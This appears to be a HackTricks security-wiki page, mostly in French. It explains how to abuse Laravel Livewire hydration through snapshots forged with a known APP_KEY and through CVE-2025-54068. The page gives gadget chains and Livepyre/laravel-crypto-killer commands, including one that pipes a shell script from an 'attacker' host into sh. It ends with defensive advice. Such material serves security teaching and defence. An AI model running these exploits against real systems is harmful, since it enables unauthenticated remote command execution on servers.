Laravel Livewire Hydration & Synthesizer Abuse
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Récapitulatif de la machine d’état de Livewire
Les composants Livewire 3 échangent leur état via des instantanés qui contiennent data, memo et un checksum. Chaque POST vers /livewire/update réhydrate l’instantané JSON côté serveur et exécute les calls/updates en file d’attente.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Quiconque possédant APP_KEY (utilisé pour dériver $hashKey) peut donc forger des snapshots arbitraires en recomputant le HMAC.
Les propriétés complexes sont encodées en tant que tuples synthétiques détectés par Livewire\Drawer\BaseUtils::isSyntheticTuple() ; chaque tuple est [value, {"s":"<key>", ...meta}]. Le cœur d’hydratation délègue simplement chaque tuple au synth sélectionné dans HandleComponents::$propertySynthesizers et parcourt récursivement ses enfants :
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Cette conception récursive fait de Livewire un moteur générique d’instanciation d’objets dès qu’un attaquant contrôle soit les métadonnées du tuple, soit tout tuple imbriqué traité pendant la récursion.
Synthétiseurs qui fournissent des primitives de gadget
| Synthétiseur | Comportement contrôlé par l’attaquant |
|---|---|
CollectionSynth (clctn) | Instancie new $meta['class']($value) après avoir réhydraté chaque enfant. Toute classe avec un constructeur acceptant un array peut être créée, et chaque élément peut à son tour être un tuple synthétique. |
FormObjectSynth (form) | Appelle new $meta['class']($component, $path), puis assigne chaque propriété publique depuis les enfants contrôlés par l’attaquant via $hydrateChild. Des constructeurs acceptant deux paramètres faiblement typés (ou avec valeurs par défaut) suffisent pour atteindre des propriétés publiques arbitraires. |
ModelSynth (mdl) | Lorsque key est absent des meta il exécute return new $class;, permettant l’instanciation sans argument de toute classe sous contrôle de l’attaquant. |
Parce que les synths invoquent $hydrateChild sur chaque élément imbriqué, des graphes de gadgets arbitraires peuvent être construits en empilant des tuples de façon récursive.
Forging snapshots when APP_KEY is known
- Capturer une requête légitime
/livewire/updateet décodercomponents[0].snapshot. - Injecter des tuples imbriqués pointant vers des classes gadget et recalculer
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Ré-encoder le snapshot, laisser
_token/memointacts, et rejouer la requête.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
En tirant parti des primitives d’instanciation de Livewire, Synacktiv a adapté la chaîne phpggc Laravel/RCE4 de sorte que l’hydratation démarre un objet dont l’état public Queueable déclenche la désérialisation :
- Queueable trait – tout objet utilisant
Illuminate\Bus\Queueableexpose$chainedpublic et exécuteunserialize(array_shift($this->chained))dansdispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) est instancié viaCollectionSynth/FormObjectSynthavec$chainedpublic renseigné. - phpggc Laravel/RCE4Adapted – le blob sérialisé stocké dans
$chained[0]construitPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()appelle finalementcall_user_func_array($closure, $args)permettantsystem($cmd). - Stealth termination – en fournissant un second callable
FnStreamtel que[new Laravel\Prompts\Terminal(), 'exit'], la requête se termine parexit()au lieu d’une exception bruyante, gardant la réponse HTTP propre.
Automatisation de la falsification de snapshots
synacktiv/laravel-crypto-killer fournit désormais un mode livewire qui assemble le tout :
./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
L’outil analyse le snapshot capturé, injecte les tuples gadget, recalcule la checksum, et affiche une payload prête à être envoyée /livewire/update.
CVE-2025-54068 – RCE sans APP_KEY
updates sont fusionnés dans l’état du composant après que la checksum du snapshot a été validée. Si une propriété à l’intérieur du snapshot est (ou devient) un tuple synthétique, Livewire réutilise ses métadonnées lors de l’hydratation de la valeur de mise à jour contrôlée par l’attaquant :
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Trouver un composant Livewire avec une propriété publique non typée (par ex.,
public $count;). - Envoyer une mise à jour qui définit cette propriété à
[]. Le snapshot suivant l’enregistre maintenant comme[[], {"s": "arr"}]. - Construire un autre payload
updatesoù cette propriété contient un tableau profondément imbriqué incorporant des tuples tels que[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - Pendant la récursion,
hydrate()évalue chaque enfant imbriqué indépendamment, de sorte que les synth keys/classes choisis par l’attaquant sont respectés même si le tuple externe et le checksum n’ont jamais changé. - Réutiliser les mêmes primitives
CollectionSynth/FormObjectSynthpour instancier un gadget Queueable dont$chained[0]contient le payload phpggc. Livewire traite les updates forgés, invoquedispatchNextJobInChain(), et atteintsystem(<cmd>)sans connaîtreAPP_KEY.
Key reasons this works:
updatesne sont pas couverts par le checksum du snapshot.getMetaForPath()fait confiance aux synth metadata qui existaient déjà pour cette propriété même si l’attaquant l’a précédemment forcée à devenir un tuple via weak typing.- La récursion combinée au weak typing permet à chaque tableau imbriqué d’être interprété comme un tout nouveau tuple, de sorte que des synth keys arbitraires et des classes arbitraires atteignent finalement la hydration.
Livepyre – end-to-end exploitation
Livepyre automatise à la fois la CVE sans APP_KEY et le chemin signed-snapshot :
- Identifie la version Livewire déployée en analysant
<script src="/livewire/livewire.js?id=HASH">et en associant le hash aux releases vulnérables. - Récupère des snapshots de base en rejouant des actions bénignes et en extrayant
components[].snapshot. - Génère soit un payload uniquement
updates(CVE-2025-54068), soit un snapshot forgé (APP_KEY connu) incorporant la chaîne phpggc.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check exécute une sonde non destructive, -F contourne le contrôle de version, -H et -P ajoutent des en-têtes personnalisés ou des proxies, et --function/--param personnalisent la fonction php invoquée par le gadget chain.
Considérations défensives
- Mettez à niveau vers les builds Livewire corrigés (>= 3.6.4 selon le bulletin du fournisseur) et déployez le patch du fournisseur pour CVE-2025-54068.
- Évitez les propriétés publiques faiblement typées dans les composants Livewire ; des types scalaires explicites empêchent que les valeurs de propriété soient coercées en arrays/tuples.
- Register only the synthesizers you truly need and treat user-controlled metadata (
$meta['class']) as untrusted. - Rejetez les mises à jour qui changent le type JSON d’une propriété (e.g., scalar -> array) sauf autorisation explicite, et re-derivez le synth metadata au lieu de réutiliser des tuples obsolètes.
- Faites pivoter
APP_KEYrapidement après toute divulgation car il permet l’offline snapshot forging, peu importe les correctifs appliqués à la base de code.
Références
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

